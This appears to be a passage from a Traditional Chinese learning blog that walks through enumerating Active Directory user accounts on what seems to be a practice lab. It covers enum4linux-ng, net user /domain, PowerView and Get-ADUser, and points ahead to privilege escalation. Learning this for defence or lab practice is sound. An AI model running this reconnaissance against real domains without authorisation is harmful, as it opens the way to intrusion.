這些帳號,在 AD 的語言裡每一個都是一個 Object(物件)——DC 管理的就是這些 Object 的資訊跟權限。所以 net user /domain 列出來的,就是 AD 架構圖最底層的那些 Object 全部活生生地出現在畫面上。
enum4linux-ng = 門外偷看,不用帳密但資訊有限
net user / PowerView = 進去裡面翻,需要帳密但看得更深
用 PowerShell 可以看到更多細節:
Get-ADUser -Filter * | Select Name, SamAccountName, Enabled
拆解一下~~
Get-ADUser:PowerShell 的 AD 模組指令,去 DC 查使用者帳號的資訊-Filter *:* 是「全部」的意思——把所有帳號都列出來,不做任何過濾|:把前面的結果傳給後面處理Select Name, SamAccountName, Enabled:從全部的欄位裡,只挑這三個顯示
Name:帳號的顯示名稱(例如 svc-alfresco)SamAccountName:登入用的帳號名稱(就是你輸入帳密時打的那個)Enabled:這個帳號有沒有啟用(True / False)


比較一下兩個指令:
net user /domain:簡單列出帳號名稱Get-ADUser:更詳細,可以看到帳號有沒有啟用(Enabled)這是我第一次正式踏進 AD 的世界。
以前一直覺得 AD 很難、很複雜,完全沒碰過——沒想到因為鐵人賽,逼自己一定要突破。雖然進度緩慢,很多東西還是霧煞煞,但我相信不斷突破,一定會有所進步(一起加油!!!
今天算是把我們與AD之間的門打開了——進了AD shell,看到了使用者清單。但這只是開頭,就像第一天進公司,只拿到員工名單,知道「有誰」,但不知道「誰有什麼權限、誰是關鍵人物、怎麼從這裡走到最高權限」
那我們明天就一起深入這些帳號,搞清楚它們各自是什麼角色(說不定是我們喜歡的👀
那明天見囉!!!